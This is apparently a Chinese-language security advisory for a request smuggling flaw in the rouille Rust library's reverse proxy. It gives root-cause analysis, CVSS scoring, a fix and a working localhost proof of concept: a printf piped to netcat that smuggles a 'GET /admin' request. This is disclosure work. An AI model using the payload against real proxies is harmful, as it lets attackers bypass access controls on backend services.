theopaid/CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille-
GitHub: theopaid/CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille-
该安全公告披露了 Rust rouille 库反向代理模块中因 Transfer-Encoding 头部处理不当导致的 HTTP 请求走私漏洞(CVE-2026-67181),并提供了根因分析、PoC 及修复方案。
Stars: 0 | Forks: 0
# 安全公告:通过 Transfer-Encoding 不同步引发的 HTTP 请求走私 (rouille)
**分配的 CVE ID:** CVE-2026-67181
## 摘要
`rouille::proxy::proxy` 将客户端的 `Transfer-Encoding` header 原封不动地转发给后端,但却写入了已被 `tiny_http` 解码(去除 chunk)的请求体。它从未生成自己的 `Content-Length`。后端被告知请求体是 chunked 格式的,但接收到的字节却不是 chunked 格式的,因此由客户端(而非 rouille)决定了后端认为请求体在何处结束。
## 受影响版本
仓库 URL:https://github.com/tomaka/rouille
| | |
|---|---|
| 首个受影响版本 | 0.3.3 (2016-12-03),即引入 `src/proxy.rs` 的版本 |
| 最后受影响版本 | 3.6.2 (2023-04-24),即当前版本 |
| 不受影响版本 | 0.3.2 及更早版本,这些版本没有 proxy 模块 |
| 修复版本 | 截至撰稿时没有修复版本 |
`src/proxy.rs` 在 3.6.2 tag 和当前的 `master` 分支之间字节完全相同。只有调用了 `proxy::proxy` 或 `proxy::full_proxy` 的应用程序才会受到影响。
## 严重性
CWE-444 (HTTP 请求的不一致解释)。
CVSS 4.0 基础得分 6.3 (中危)
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N`
## 威胁模型
发送原始 HTTP 请求给作为反向代理的 rouille 应用程序的远程、未经身份验证的客户端。不需要任何凭证或用户交互。
影响取决于后端。无论 `Connection: close` 如何都会进行流水线处理的后端,以及任何位于 rouille 和源站之间的连接池化中间件,都会处理被走私的请求。遵守 `Connection: close` 的后端最终得到的请求体仍然会与客户端发送的以及 rouille 观察到的请求体不同。
## 根本原因
只要存在任何 `Transfer-Encoding` header,`tiny_http` 就会对其进行解码(去除 chunk),并丢弃 `Content-Length`。
`tiny_http-0.12.0/src/request.rs`,第 149 到 159 行:
```
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
154 } else {
```
`tiny_http-0.12.0/src/request.rs`,第 218 到 221 行:
```
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box
```
随后 `rouille/src/proxy.rs` 转发了除 `Connection` 之外的所有 header,并复制了解码后的请求体。第 167 到 174 行:
```
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
```
客户端的 `Transfer-Encoding: chunked` 在第 171 行被保留。第 174 行写入了由 `Decoder` 生成的明文。由于从未写入 `Content-Length`,后端没有其他可用于分帧的依据,只能将攻击者指定的明文按 chunked 格式进行解析。
## 概念验证
步骤 1. 在端口 8001 上启动一个原始监听器作为后端,并显示 rouille 发送的字节。
```
nc -l 127.0.0.1 8001 | cat -v
```
步骤 2. 在端口 8000 上启动一个 rouille 前端。
```
use rouille::proxy;
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
```
步骤 3. 发送一个格式正确的 chunked 请求,其解码后的请求体本身就是一个立即结束的 chunked 流,紧随其后的是第二个请求。这个单一的 chunk 长度为 0x3d = 61 字节。
```
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
```
结果. 步骤 1 中的监听器显示 rouille 宣布了 chunked 分帧,但随后发送的是明文:
```
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close
0
GET /admin HTTP/1.1
Host: x
X-Smuggled: yes
```
遵守 `Transfer-Encoding: chunked` 的后端会读取到 chunk 大小行 `0`,从而得出请求体为空的结论,并将剩余的 56 个字节解析为一个新的请求。
## 影响
后端看到的请求体与客户端发送的字节以及 rouille 读取的字节均不同。上游任何记录、审计或镜像请求体的操作,所记录的内容都会与后端实际处理的内容不符。
如果后端无视 `Connection: close` 进行流水线处理,或者 rouille 和源站之间存在连接池化中间件,这些尾部字节就会变成一个带有攻击者指定方法和路径的第二个请求。
客户端的 `Content-Length` 也会被转发,尽管 `tiny_http` 忽略了它,因此如果后端优先使用 `Content-Length` 而不是 `Transfer-Encoding`,就会直接发生 CL.TE 不同步。
## 修复建议
不要转发那些描述已经被 rouille 解码过的请求体的分帧 header。
在 `src/proxy.rs` 中,扩展第 167 行的跳过逻辑:
```
if header.eq_ignore_ascii_case("Connection")
|| header.eq_ignore_ascii_case("Transfer-Encoding")
|| header.eq_ignore_ascii_case("Content-Length")
{
continue;
}
```
然后生成分帧信息以匹配实际写入的内容:缓存请求体并发送准确的 `Content-Length`,或者在重新进行 chunk 编码并自行发送 `Transfer-Encoding: chunked` 之后,再在 173 行末尾添加终止符 `\r\n\r\n`。
标签:HTTP请求走私, Rust, Web框架, 反向代理, 可视化界面, 漏洞通告, 网络流量审计